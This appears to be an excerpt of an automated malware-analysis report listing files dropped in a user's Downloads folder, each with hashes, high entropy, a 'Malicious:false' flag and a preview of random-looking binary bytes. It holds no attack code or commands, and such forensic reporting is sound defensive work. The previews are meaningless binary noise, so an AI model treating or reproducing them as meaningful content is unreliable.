                        SSDEEP:24:rvA2ewxja5CKrurfwhyi5wQG7u2497lvPGHqBj8zCouutr/2v2P:r42xxjacKruDAw4/p1Bxq/w2P
                        MD5:AF678D419481EE5D955C1D6274FF4BEB
                        SHA1:854B562343AF7F3710D02B6302E49472C73B3809
                        SHA-256:5BEA66DB4BE4793EF25A256F6ED93D01015F6E0AA0B355DB121AE45FB96E0F76
                        SHA-512:742F06024FD6794126D96733B384A1001C932130E20454D1AC29B4B8C84B9CA7CDC9D9B63A5EFBA048EFF33F795D41AC7AF2B5CD9417699FBE7165FF3B929A83
                        Malicious:false
                        Preview: .....F...W].Z..T.....A2'.......@W...voV.M.>..,f%t3...j...rQ.k..G..:.K2X.."..p+.z.GM.._....,y(w.X.*.9..`M....{...*..wt,.`.}..'...%..8R+.rmS^t.Q..&......$>.E.7..'9.......C...z.,"3 ...o$.gv.U.1/....m...a.1..Z.rK?...V..s3.R.....!..d.....7..T.Hg..d.......tl+oW.....R......L..!.Qw....-,....&.-.?..j.N..Y.y].F.|...v..Y...Bz..7..f.R..7.D2..b.<=...TiN../?...G.yu5.R.....e..4'..."....~].|.S...j.Y>.AX..+..#.A..t..@PMe.........=........P.0....s..I.E.^P.....!...B.:..*Y....`...I..CYE.......R...p....F[..;<.!..M..`....@.m-..|.}k..:...:....'....M...}ClK...d.#.....\Y-w.mk#}u.G.."o(....o....`.../....4Xz..Eiv...bq..z.W.G..g......`....@.w;.......m.a...{.,.*x....S{}...#(*.u.......f....$.r>..L......Q%c.2........[.Ts..~. /..g"..........@I..q..?x..j.Oi0.9(.}......C..]Z~.\.'k..a......r..V.$+...y.enl...c..^GhL.o.....yq..~...t.B.......l.7.gP...2..&..S.3,.M..#..W.K/...p2.J.pV......%...@.~VaU..y.b6....jxH;..@..).8..rN%...|.N/..|..K.CH..wND.|!.iZP
                        C:\Users\user\Downloads\ERWQDBYZVW.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.864462607746137
                        Encrypted:false
                        SSDEEP:24:39+QqT2pekl2s9Qa+M/WADpwBipXvGnljPbt2uutruu9I:38Qqi/lVB7/N2oXvIs/9I
                        MD5:AABEB19A57BDAEA637F139AB66478F22
                        SHA1:EAEADC44351AC89103940015DD50D21A2F8583F7
                        SHA-256:F5C919E985F3F192BE32AA68FB7B5C6DEDAA48D361D8742A6B245ADAF0494828
                        SHA-512:1B5D827AE87D2502B61973FD6A0FFB41B89EFC52B963466D9C4560B13ABD192265A6736F265BFAE7D2059BC4EA5113D530778D517616F4613B39BBB1DFDC3A3F
                        Malicious:false
                        Preview: E.e..W?.%.B,=.,..v.....}.....~y....n.aY...;...sr........,.s...V...|6p.K.x.U.e..Z?..u.......*E..<...^..P..U..'Alp..:.E*1SVp...y5....<.r....Ng.h.r....)..1.C....'\....#......L.@.<f.....=..,^.........].....bLt....cilzor.., +u....|2c.p.H!....e...t.t...*.l..;.U.Hs....*..j.......f..T....Z.D..... ....7?..~..>...1.{.~{..l.6.Q.._........fI..R@J..*7....1&..=.y..n_.V...+.Z!2..~.K.L.Zk..$)..suT...=R.A..XR].)..:Iz....;o.nr.....p...t~..^..].3....ek\.T[..,....PSBEw..V|...~1c....9c...x>..Y.._.2..C..v.5\K.Y]DAb]..8`....Y.j...ML...q....*....$...q."..;...+...O>......|.s~o..*.@.]i..../.!.HC.CT.KD[..G.w.z.Q..8sP....Y.^~.:..S.....5g.[.......s1.......M..W.u..X....4...J.......3..A... ..o...O....D..C..n..<...t_.....lR.q...l8...4..H.H..a..l...fi<^...O.r..._.LF.Q..D.bKf9.`..K%...r..T.........0e.....c{.t."...Q....0. ..J....x..T.~..1I..|R.J..(y_...luB.`t.J....lS.Q5..d...I....q.....,%....Y.Z+.W.,:..?..[...#Oh.m,;..5,....ECUj.......z.}.J.3...Jg.}.&..=..:.../.?....
                        C:\Users\user\Downloads\EVCMENBQHP.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.827362162263186
                        Encrypted:false
                        SSDEEP:24:odwPC8LwmadLDN+8Yx/IR26TaQ/7CvH282VJnHcFouutrmG:oCakHw+8YK26TxzCvhAn8FqB
                        MD5:0DFB3121F42CDFC6A1640201811A8A15
                        SHA1:BE16159FE60221F68C9682673F1F7C38BDBA7A0A
                        SHA-256:D673CFE0BB0E39DE90787BF694CC2F7AA78B9C38DA1D33324B4D7703445C3646
                        SHA-512:F4229665776D490C379098FCDD784D0C5C19DAA9D6CC4B1585F3A0885572C38038E9C3AD14E986C484C582C0267759E884F1878BF6A3504F4785FED5C97D7382
                        Malicious:false
                        Preview: $.G..U..s..rFSJ..~..>..i.D"J.M..t.K.+.M#.....;7.z..D.[..?..C..L._V..%..<.v..n-..o...w4.WX...srg......0.*#_..N...<.L................{.].b..\..\...;.E.....M....o.Zq.7`....P'.3.i..4.[....RC.+F..@..s'.>...y1f..../..E_.B\.J.M...T.....".`LP...jno&9._B..6.P.....I.....W.....0?..d`...FBL.?..J..../{.....<{.(.`?Q..L..+..M3....V.f.".......n.)$.Y. |..1.c.............#9..\.;...[3..&....n.XQQ.K.ZG.r.F97...F....~l....J.(; {~{J..c.g...\g.w..x..M..+.`..AN...J.......(..J...Q....T..&..@pv...x.Y....6:...c!......u.d....d..._%.T....R:-A..'........}..._..)..&.`..9C..$...H.<.v......?..,<..".......v..w.....R.[....l-.K....7.2.w.Yz.-V..F.R...J.M`....feQr.k..M. P..x.j..J....mv.Y..R.kP.f.y..T..iRo.4<..L.....#F..`3..@jJ#=r....y._.n....aQv..e...%....K.l.6.0.f.\.Q.X=:x0h..}.E.jjxw....R....$...G...R.2.(0M%..Y...'.z.:.<......].vn.{:... .[..r......N,..i.1....V'.a-NN. S...;...>.J.E...j..O).C0M.......N....+..d....B=K.T..,~.Yow..H.g.|JC.\n..p.=..U++..\.&...<.........WK.
                        C:\Users\user\Downloads\FAAGWHBVUU.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8259567853922976
                        Encrypted:false
                        SSDEEP:24:uxEdryNcbbD7aw1wz1AZluN34qybmXw+Bz37AQ+hJFuutrgv:uCdWcnaxzN4qi+w+BL7fiJLgv
                        MD5:9DF435B4B7DA575C36419724537E2A2D
                        SHA1:7A9CAB31C0AC3C75B77931EACE15B53AB09F8C29
                        SHA-256:4D009706F59A0F3A120FBAB8522D908E09868D4B267032DB278D8C9242B86D86
                        SHA-512:AF7375E2F82B76D37B16B3452129900BF32817C5FEAACEFE94677F9F7618DEB70BE1E7AB50327AEA1BAD6A950C9BA94E90B99E0E84D781C7ED64814714C12C38
                        Malicious:false
                        Preview: .d..C.....u*.q.f.S...L1O..d.......f.:..>:(X,....*'.#.~..-.7&."6....ib.h......mejAG..N/.Ca#...DQ..D..._v#<..:8iw...ds..Ah>}B|..~P...pn#.,-q....,..w....Y...z..g.h..1.S......O6..2....4.W-u.B.6Zw..{..#Z...()4..E.w)..j....X.FA....M.T.A...<...P5.D.K.`.>...=..Z.....b...rh...@...@...Z>.P{?K....X...g....z_%.&YH......._nm...!.....?...e.(.......h.o...2..Yq~.....H., ..Ds1U^L....b.3.\k.....w..S.QG.66...x..)k.?.y.x>.......X7.......+"..e.M...S..&......;iZ...a.^.1{.6..N.|.v3V...>.-9.~s.MK..d...X]=..bq>......$.23.".c... ;].....=x.V...^.ZF&a.:.0.."$....=O.(M.0~{........v....|T..P7L..,7..yT..rM}....3..J.......8.$.....D;8....M..B4/|......c...C..w..5PnM.B......m..I.....1...........Nj..{....6.C...c ...O$.Q...2..&..7..-`.g8..9.X..Ab.l^Y..sF..1X...Q..M..p.e..<.l.az...u.b...M.7......M...5......UxO...1.opP..TH)&e...}.e..*9L7..?CK..P.5..o..Y....C.-#.].....<.Wx...s..8c.~.v...,.Ts.~.%l.K5....q.p..z..5.S..WS.Bp*}..+.n?O...nu...jO....._..7<...5,. u.3...1....j.1C.lZb. ..\.`.x
                        C:\Users\user\Downloads\FAAGWHBVUU.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8457640103200275
                        Encrypted:false
                        SSDEEP:24:THdD6AATwIXK3r/R2Ohvi+0Q7FHCnIjSbctuutr8zsi/:JuANx7/R2Oh6+Ti7W9i/
                        MD5:9EE64EB32A5DBFF8A429190A03F657BF
                        SHA1:14D6474E41016F06095A712AB92F2508A06D1429
                        SHA-256:6C7CAED763F9A2C0329EAF2C5A19C0F05087B7B9CFF44F16766B50B44BF1F7C7
                        SHA-512:9102D14E933148D375F702880FF96070633B9A59D1FB2E65F8296D717AB4EBEF399CD3A55B951139BCE364EB49F12BDDA0C793005567C75F8BE1D2C18F8E39E9
                        Malicious:false
                        Preview: EP.{.S..T.L.RR.7Wp..-...|>K..f..w...E.0f..l.....*....eE[........0Y......[.+..........b.x..}z:....7d..-.']sHcd.N('.1.a. zwJ..u..r..1u...'o..A.......?.&$.9.:..t...8TZG.uq..Ss$,|'a...T..m.97.,...w..j..X..>..cq.,.6i.x.7Yjw.o..P`...k.J...H.!..A.x..T..z..t{...D.R.p..../.4.t...r.r...26.*..v".dPT....)..v....q..CQ.h....D...Q...2,8R..........c.........Il.i.......G.QQ/.e.9..._....:Y.z8G.......A.s.......:..6QH..@_8uE.FJ'.d5...f..........D....-B.yr.U.h.)......\........N.....`.f...&..H{.t.1..B/K.(...Q..1=dYP.....6D..Q...$.|V..?.tt...B.[.........W.C....r.keKV0...P.f.d.o%mk.p.x.K..P0.7.[.......(O+..c.$%...F..c..7......m..FP..iN0.?u.....3...72e.....6I.[.9.....X..+N...0I.6..A.A..Mx...:w.......J...D^._.S.<b@fy..t..=r..2M~gR.2..j .!...l......Ms`.0.....O.[.....{6U..I.......$.}.....5.......[..9.-.+..).R.$wHt...($5..s.........k....B.......[c.jb...}..%.V..?..M...S_.)3w...~.E..U.H..S.....'.3.....q....\..k[...O....<~/..0....|.=M...y....}T..=...e...?L....z:..TU.5R.
                        C:\Users\user\Downloads\FAAGWHBVUU.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.846699878327895
                        Encrypted:false
                        SSDEEP:24:DbdBF/lxh2NRTKvmuXFQDTF6fiKbrrCUC9FFaXsHuIAnuutrH2:DbdBnxwNcvBFU4dbrrA9/I5IAW
                        MD5:531D3B7E095AABAF67DEA707EDDD0EC5
                        SHA1:79774DAE5198DF3B59808F4CF716CA4DCB7AA08D
                        SHA-256:EAF744161A6DC38959A7F2ABB124063DCAADB0349357D23C735187BACFFB49F4
                        SHA-512:094482679F3A5F325344F69F337A95B31C132CFDFD5DC7DE99993177D017D51B672BF2CB43B82BE1E96A3448E203C8F098BDF4C3FD54A927BAD56D586C50ABBB
                        Malicious:false
                        Preview: ..Wn".=4........cb7q.4m.C.K..`...5|$........!.`;.....u....){(...m.Pj..@....Y...q.Z...U..bA..Y. .f..Kc..dM....4ZVN..S`.....>...8.Of.........>...........u..XZ1.0.......A....9J...Y..k......T*.X/....~j...`..J...o.....{......1.~N....uf........4...K}I.:-J...s..B....$.5/.........._.d....y.*K$l*..ca..;.... Q...)..,.......!...ji./....]&Y...Fk."Z.92..=....QR.G+<.(...B-B.5*.=.7..uz.kf..Jg#7G.9&`fx.[..v..........hD.1.C..L.&&YPc...f.d-.xP..5.C..pV....Pe.~{8.......g..>.>.......$..._p?.(.....u.ue..'..)........X,E&...C.}.R...)<......:.<n......\Ibt.B.[...g.......L....^.u...Q.t.Wn.....IX.`(._%U.6.|"B.....,........e........g.mO..H:.....b|q.URl.w.$..p.:.;...g....g..*....o$.....L.k.h.,...L.. 2.J...O......X.X.L......fY.l..m.vx.jK...v.&.>.4TC..O.P6{.-..C...f....!.<.7..6j...........gD).V.Sbh..x...g+AK.&Q#s......... ./..I.=-...M...b9r....1.....4.....x....}da\.jH...E.q 1d4[..[nX9x:5.~..f_b..5n.\.%d.l;.;#/..[.q..).vR{.!.m....;8v 2........Opn.Y......T....K.t.%.
                        C:\Users\user\Downloads\FGAWOVZUJP.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.832703871923048
                        Encrypted:false
                        SSDEEP:24:lJCCBDfxNtUKIGkMT4IyX3QkpBooZ360wAXlLM9bNEuutrUI:lJ1DxNmKIGkQ4IyXgkpBfnVL8NGR
                        MD5:5B99C707EE277391245920F1CCDB30D3
                        SHA1:F53E3A2195F09A805BEB3B7E4ED60A7BC6E100F5
                        SHA-256:7531EC1DD17B73B5722BB4BBC2A04B3F63EDE6DA0F9FF27F178764AD4EF7ED51
                        SHA-512:0CA1F432FFB8572851FA68EB2ACF91CF704AE285BAA9A4FBAD0A2A0736A13F05CC91C66C0082CD10720D1250CC873094A10FBB5D45E84984B64D9A1058D1BB4F
                        Malicious:false
                        Preview: ......L.n.H....v........~...G.4....y..p?.... .....i...qb 6.ip..z.|{..g.Y.M.'.CKKQ.V..G.n6F.c.#r..T+T.6{&.....W:..D#E..#.dE.....{...4...<k.....FYfv..W.t..........1X'...Q......Dgf...R._...)h.f..}]?4...,..xmzJ2.{...T.Q..d.E!.|....'....K.7......T.._$....b..uy.NB.C...}d..dzp..~N]..6.Sdr......x...N.....4.....".M.(yI.].7....c%..#..[._Y..6..y.r..W..].M.....3. .+.E..kX..T|.b.ags...k...S..@.<.}=..].U..q/...A....H$.D}>.../..Ud\..`.....PU<.9tv:.Jn{.].........8JU...[.@,....i...%X.....}..y..<....J\n.Ax..g.Gn8e....0g..U...IYOP.....+.....[.....:x..I.5..v..0.8.}12.D.g.9.'M.B.GWL....^.....Rw...PHz.}R..s....l....H<..YX.7.z]b.V/p...n......^b`...<....&...j...HO...=..o.......Y...H)...h)M.n^.G.9...XK.t.(>&....,.p~.z.....bn...N..D..._...(..Z.q...J.&.=....)...6[...........U7.'C..Q.j..mWE..*E.f....4....uF.u.,....5.i...#st..d.!k...{}K.G.Js6..@...!.F{...m..9K.7.fs..l...mVt}..6'.'MU......O..V.......I.......z........|.W.-.E8L..Y..>..Up. w..*(.-T\.....R/..I..N..c.
                        C:\Users\user\Downloads\GJBHWQDROJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.836846399129623
                        Encrypted:false
                        SSDEEP:24:hg9g2aXP0F7+u7GLl/7Z/Q1LvUD0ZihL0+nVShnr3P6/3+mw40Zuutrt:IgBXPXBeLgGihL0h9b6/3+x40ft
                        MD5:102491D2F3631817EA30386B1B9E6C45
                        SHA1:26498CBCB0676BEF95213536B00FCEFA0D49CDC2
                        SHA-256:D4702920CA7ACBCA49C16905831565E7F47CA925F7CC7E40C222D25AF2979654
                        SHA-512:F865FCF83AAC14A800EFE66C1A6F2CF6CBB9FA95D14321953BE9875249D83CF3B88B931E544D6C25840D1614713A4CF37A44D57ABFC5576358B6FE18F54B74CF
                        Malicious:false
                        Preview: .|.S.7..6..e....&..<....B.....:...n.H*R.R....Z...;.}....,.K.....p?t..N...D..!..i...'.._?..j.3.....[.{;.....5..>Fo..W...Y.9U...p.8.jt`................h.g.Qe..BWZgU.....Hw.H*..h ....(+.c...........k..K./.....y........2$P..;=..m.........SyY..Ui=..t.K....j...^......eo....m...]9J(..^5a.43(z.u.S...5......!........%.%....I.i&5.~.2.-..D..`.q.it....p......o.=B^.;9.%...&7.N........'-..T..z+..r.....V\.`.W...'M....kL...........?.d.d?/...\.8.....=:E.T...[.P....h.a....++..EL....`.Sg..'.......\s..1.........P..i..$,Kq<..4.AV...._:I}..5.l...W.{V..N.t..!..ei....@.w......E..>^b..I.@..g....yt....nJ...._D.9.x..n. ...I.5....2.\.....p.B.b..'...D.....FT..<...SL.........S.}.yKb.N,..R.a+zK...$g.vVZE!.nW.lj\^I.X.Z....T..R..w/A.....5...cR.o.>.G.n..J..i....`....x........!+.....O-.........._.5J....J.5A..f<..Y..P?P..5...y......QWc.).b.....zg.;....N...*..P..?.c..cE....|.g.....$,..8...../.....p.@..`.vR....w.M..m...}..*j..@..:.P..t*.`..p.......H4?.....H..+.....w..
                        C:\Users\user\Downloads\GNLQNHOLWB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852903831436511
                        Encrypted:false
                        SSDEEP:24:xiQjJQ5KG0fieTinbjEwpgTxN0OW/eqBVPlFU+SU65uutrjrmqy:gciUrftT23ATxN0OYprlFU+56/XU
                        MD5:56F2EEF8B904E473555EF5BC35928BE0
                        SHA1:E1B5A353252DC758DC48FC0B8E5F4925F87003A5
                        SHA-256:28A48BD8D163EFB56F85B399A70B61D25926F7E330B4D9016E7F52ACFA4B7DCF
                        SHA-512:884C50A34738EF13AB0CB10467D2D6026CDA68C81919CD3A70D4DEF063880B3C4455B247474F0E606EA60B30E060D9228CF10535398C56B9CDD37948EFF9DD59
                        Malicious:false
                        Preview: g....4..B.2.../....E...#3z.`.VG......C..u..c....p..~.._..~C,.g.$..........J.!.|*.L..6.....{"...]...x.>8UxQu.f.V.i..&.TM..:}.....K(.q...e.....$d..Z9..k...@2p...R.`x......&..%..x[^ye2bk..|X.w.g+D?E..}....<../.2.Ew.>.%.9X..&.(D@......\...P..'i..F...`.8..|.<_.@..=v.p.........\w......c........Mx@.n"..o.m..r7.\Z...IAh.b0-Y...9..^-...F..".d..b....J>.:9d.f)...cm..e.b&...Bh.K...v.E_>......e..2..w.n.E...k..q....-:.6..1../H9......IK.........e8.J)S^.W.,.L..@.pc_+...f.q}.P'..K..e0c.<......9...../.t.}...;..2|.....tq...\.?..rx..!.../s......d.S^G.....S4.u.._...t..r.;\....h..>m.....i.[.L.........S.|....X*#..p..^..6.2/..vT..O....]4#..I.3.u.1. h....DR.^..d#.e..A8.54[...{.f..8..hLS.G}.I..>L18.*..N.1Ab.2-.+.O.."..,...KX.E.1.Q>...k{.=......W..8..}Y...h~.Z..y.c....?w.........N...W7.Fv]7.)2...1...=....I...&.....i.z...g.l..C..]..;_..........d.`...u.*....?v .4...{.f...[.......qK.^^.>.'ppa...Db}:.>};...\&.~..K|..@P....=.j.D.x}.`..7n]5W.]........m.M].]Jea..
                        C:\Users\user\Downloads\GNLQNHOLWB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.841658870782017
                        Encrypted:false
                        SSDEEP:24:TZNk0PZPHxzhV6q4hCTGWyDRsR3KX7ESQorWoItEa9/s6pl53kuutrF36:TZNpBPZBuCzymR3q7F+ua9k6p28
                        MD5:2F139820ED14BB9121F7A4EEC5F0452D
                        SHA1:14FAC82BACD0BDEA45DFD8AC091A3B5E7C1133AC
                        SHA-256:13813AF1F67E4B55E273FF68A6A34DADA041A175EEC484F3BE8E1846206A7990
                        SHA-512:7FBF2CF3A66653A48168C53ED78BBC0A6739ED78FAF0A457B312C4191B9668FC272869F93452BF81949EDD85462368AF9EF1C60DFC5B9594000DA8BA83EFEA50
                        Malicious:false
                        Preview: /=..1.Ng..<.G.2h%.|./....f.}P2%....;..9.A......)F.e)...v..S..f.....U9..*.". .\..1~#c..G....I.H......?x7B_..S...wSl.H..a.j.Js._....@.2.3..9..A.[..h`$...J.*.....Q....D|.a.s.f.a..*5..Le....?........I...h.vK'a..*v..t}'".'8..E`.......:TKK.M!.a.....wV#..G...U..Z5Q..+.X.jg.#.|.BE.r.)-d,...v..R.@.._X..A..{YLa.g....P..4,-sW......./.../.IR.P"...p.-..VN]..........m.rc.ODn.j.....|1.F-{...*KHM.`..,W.*}..S.....?}...:)Y!.F%GgGg.R...%kuQ8b.s....[.|.....#s....Db.....#..]g..cm..oH.q...P.9w.X..G#..Pv{.2......p..k%6.....E.#.>y.\.,...<%.....E$.x...M......[...S.tH...X..s o.3]aA.k....+wXu....h.A.2N...V.V.{z.7l..*2...@.s..+Oq..g.M......G.v=1v...z.y|HYgV........^..{.@.A..-..XR^..+l..Qp...A5.....;..[..b..2.K.BTI.:..uk4.....k.......wtxE{...kY.......h..._...cqH....}.t.K....b.P..U......D......]zA........3....&`...u.)..+`..x7.(..&.....J.....9Y.`.CM]..f=ej....a.=.g.D{H).B.?k...@=dy.d.d..8...Y....xP........N0.@8.9.{e. ....0Fd?......................O#..B!.(V.r....U.........W
                        C:\Users\user\Downloads\IZMFBFKMEB.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.834329925157917
                        Encrypted:false
                        SSDEEP:24:glfGWPmXvdj5M9msTRcs22aFoVYB1i5Y5cRZKO3DkwZuutrOv:gl+W2CXJHqzi5scPpYwfa
                        MD5:287547122D009A443C1CB3EB8BCCCCE1
                        SHA1:8F5CF97FAE43C7A4DDD02EDC34311E79596084CB
                        SHA-256:1CEB5EA0EE189ECC6EF4C9B71C6B18C2FE3599C8F761495230B66669236B12DF
                        SHA-512:59C0D09A12FE05E816DA7A09BE3E317C0EF04CE292BE00BB8CF319B5FBE897A3DBB0A2A1BA76A1CB68CC41FC40ADBDA6549DE036FAEED30D0A75E70B1A292E78
                        Malicious:false
                        Preview: I......W.'i.......d+2..N..w.7.&.E.c.I...Y.D.8.7kA.|.@.x...H..hg..-X`x50....un.0.....].....BX..iIp...[m..z).E.....4..u......%.82+h5...........@....Q.<.;.....p>!....H3e..@'...._4B........O......R...g.$.1.{.?M...s.zwL....5-v.......r..vn....f..-............X.).5+...#....0.Cd|uWM.C.....r..Z4.......q+k.6..rI~L~(k..-.7..}...*.&..1...A4.L..K....v.........o< .8..m.urLRAW..>$S.Z..$........f<.-.Irmt.|.)..Igt.Y.k*H......v...m7-g.....)......2.v..h.ol..0..JrGE..3...w...(OfL./X. ....YD2......+|..>..T7.u...*'..bkZ...R..4fy.~tqcS....V...._/#..99I..=.......+F=.~z.j.1..Zp(.=.Ca.Qz.k.}y...+#A.."s...q..U....~.!.=R...U5..f_p......S.3YcL7.V<..Y.<..|f...&..A..t+.p..r../^.n..=..,O \..`..e....wWC]_,&&.z=z;*.O.m..*_|.:R.....8..q...L(..r.(.d.}..........!....t6...}M1...._.(j\.A.f.w*[...._...r...P...f.?...!.y...K.w..*9.!m..(....P6..w{L>C..W..^.h..;......y.vN.................M..g....'...B.v.......V..._Po..p:....z...V.".......VP.>.#t3....H....^.$...4...@L.....LP..0>...{...)i
                        C:\Users\user\Downloads\MIVTQDBATG.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.841836264242939
                        Encrypted:false
                        SSDEEP:24:DC1qgDZNTwhHnuOIzZKWuXUeOgCZIX2GKg0/EzWOsuC6xnXZxuutrtE2:D1gwBTIz0Wu88GdrESOs4x9W2
                        MD5:D2F5529FD78105DE7886485E6DBD8C1E
                        SHA1:E46591400774DC7898B6507940A2C830C1D4DFB6
                        SHA-256:E9D8ED1978136112C9954EB88BA240DB6BA2BAEE21963D55673A8B61FD6156A8
                        SHA-512:ED38239E6D825216EDB7FC5609D3CA1E5B6214F7EAEBD6B5B5A7643F89EA3507A8849ADC90C544F5FD675F00AC8783115E48D21027BB461C1BDA854FD7DCE00C
                        Malicious:false
                        Preview: ....8o2...q...2+.*....{.O..~...3$W.P....!N........y.).].e7........ x_}7....&.PG..I.;-.g.gl..,.9.,.H.7U.....7.........W?....`.x.h.uK.DD.@.d-E.2.....N..D.h{..7..O.~.s..>gB.3p.a..a.....i....5.'. +'.._.L......=..*..5`....S. .@..U.9.KY`~..H.Y?.0.Z.3......{........nG...S.X..|'.5e..N.Y..2......c..E.u../.<R.w.B..6..:...hq.....@....yX.|.6;e...>......G......Z.....ry...H..L..1Rf+.......Y.a..U/.<.k......z9......uh*A.Y..A..vq.2..0'.@sdC.v?-.. ..9.[.<8.m...L.C.....#.;"I.C...$.......?......r.....Ko...K.13x4.,z~...N...&..Ug.....*..f.......@....i.Y......H.l...(....O6...QX+.V...be..tb.Z.).X..>Ug....$b..7.^......CwU..@.S..".W...............JNu.d..m.-. ..JW......zv..,....-..Y.. \/Y|...7 ..z..._..o>......%.K.A.ye.J..@.M...a..C"A....W..3.:.B..%o............&.......X%..^yV..n..J....{.u....-@.W.....6..Y?....b..w..E.Gq.6..i.z.r.F.;..Z;S.....t.k_)K.,i.-."...0GU....x.%.2..{.F.~J.j.R....7..7..4........j.F.. 6_...0.~eR.qQ).....l.8...J.|E....X..f..w).......".;...0...g:
                        C:\Users\user\Downloads\MOCYNWGDZO.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.849272575794706
                        Encrypted:false
                        SSDEEP:24:AODCWLJpj73DBGAj1CPz4ZTJ/mhdRrpRJsg+TZ1PxGByZuutrv94:BeSFrNG2CMZTJuzRlRmfTZnsAvu
                        MD5:10985D3D60FD7080EE7E3989571F0706
                        SHA1:C6EED853B52077E9C4498A63F988DEEA68479863
                        SHA-256:06883982ED27C7D7A665A24875D9747DBFCBCCD23FA05EB4CE940BCFAD10DAB2
                        SHA-512:30A114877F98086B284A6DA80F2DBEA52F2B3E12F95B002E055F2974563BA82785B1994C298D6CEC2F0914169584798623FD205AD0B124060D4DF79086EE8A3A
                        Malicious:false
                        Preview: 4.7..>....<n.../wy...EM..W....*..h.A.......~..TK.#...3Y..[.../..X.@..3...nU>....r..&E%.q.#bc...F.....f....x...o...._."Y..W]."b^oE.\...,.G=s..!...a.hO.Qt........Hl$R.*..K.=4....6{W..2:.a.....I8...m.jd..>....J....{..7..K...yh...7E.....:..[..Wn......_..$).O..L..>..U...a./..K...j....+.,..x.CE&.......P$.....).S.*..|...W...j....t....iH..H...`I.z.Hc....(Ua.O.....>...-.L.M#W..&.`...l=.........h.V!.....c6.....xaj..o5....Y...h....Zs!.JD.:.n../;.P.........2b.._F.7.....tK.L..U.B.K..>........+....+AcViK.F..!..kW..oX]..TM....M.dqUr...v.0~....../..gx..>.@.|4.;....a^R.].E.......S.w.!5...|.z.k..-..2...%......S.....h..+f..}...N...q.m.'D.o/("..HD.8b...\......&..W.....&.|.jL......&t.s).i..t.6.Y...mC.....-...RY..1..m....^..#.m..).:...Pj.y..Z.......lX.<..\.....(...'..k....a.....a'PX..x.Z...c#.cn....!..|. ..o;..J...x.<.T..V..#....lg..a.. 9T....'......2........j..\8...t...!n..,m."N.G..R/Ka.......K.G f."D./....Fw.1...$.2)......... ..F.....]......s`.2.$o.
                        C:\Users\user\Downloads\OVWVVIANZH.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.848130477911951
                        Encrypted:false
                        SSDEEP:24:MuIXXuCwUzxQfOzy8nETiZ7PUy4CH3e1UuqoF3ioIGOuutrDun:eXXBwUiGzRlPFiF4Z0
                        MD5:D9FB7DBFDB91127C8677FFF2B06626D3
                        SHA1:8DEF364F32FB2166483B7A2C5FCEA9A5B6AEE665
                        SHA-256:F30DBD113F24209AB813B7A3E08A9EBEB1BB3DBEBF4C62D5CDA42A83A4D01C75
                        SHA-512:B593335930BD3AA33645F94D46BD087025371935775996D5AFEADA539C83444312BD1BF5184B26179CE3A3E9741BA7FE39F525EAD1D9AE33AAEF58A118165245
                        Malicious:false
                        Preview: .8.P.>a&...K|V..<}~ ..J*#Ltq...(>...\..$..OXo;.....u..?.c....L.....J....c.Y.$...I.:.......[#.2Y.2.Q)Ld...F.(.....d.<}...s.Z....g.;.th../:a..4..(...]..p.6...R7.....2 ....o..`....x.....^...n!.?.Q.%w.5....|.5.3...B..t....U.0...]...o.-.E.65...Tt4...TQ...)P........n......_...)..k.4..*.7a.. h.f...y......HY..R^...cA?.C.nP....mJ.....7..ms...r27Y...nZs@.8.........'.#.hA:.M.SV..7t..@.....i1L?Q.V/.....".]-.{...w.7/...........g.....Z..Qq._.@.....Tz. ;...9t.O......B..Jd.../Z.C...O.....Pm.4F.S4\...s..lO.R.#.'....*...@.....Se=.7.}.i.kt.........fq...."....H.K..#...v`.A..:..ZO..<..M....M..@.2.I.%..G.2.4..0t4..B7I.1..6.M..f.W..G}.).e....:.(..."!#.}.~.'.kMa....o.}5..w>{.U..N..`.m.Pza....r}.&hF......#j9.Z.....g..&.Q".O.Q.[.3O...U..w`N>./.....pBw...5.@.../1_ ....B.u2.k......J.X?X.l..?2.... AM.l#M.......iw$.d.g....lT.c*(8....w....h......L....c.....(.2.....,..|N.r.S.z.r.U._.u$.........Q*V.(....<U..j..u.M}.lb[....;.X._..3.7...&A....Qmk...~.a..+$.)[.h../.;..1
                        C:\Users\user\Downloads\OVWVVIANZH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.845542869239462
                        Encrypted:false
                        SSDEEP:24:VzHexFPAvnB+bLaGS3O1pC2sp1g2hG15sTuutr6vTj:tgPAv4bLaGqO1pC3y2h45s9MTj
                        MD5:5A628C7229719C42EC5E5D7E27FBC595
                        SHA1:DD37A5FFE3F4BCF0EF60F477B3186E57CFAA6FF2
                        SHA-256:85C5F910C8AD4C476194A8FB3FDF06AF21E03F2EA78F3367C7962A206662E0EC
                        SHA-512:BA428729B6341DF3F90741796DEBDF2EBC04EC3E940002BFF347250BED405B3F9E7C2F9F0BC6D40F7A868B7BA6E080A2A45608DEF6BDD1FB9FCD299BCBC1E9A5
                        Malicious:false
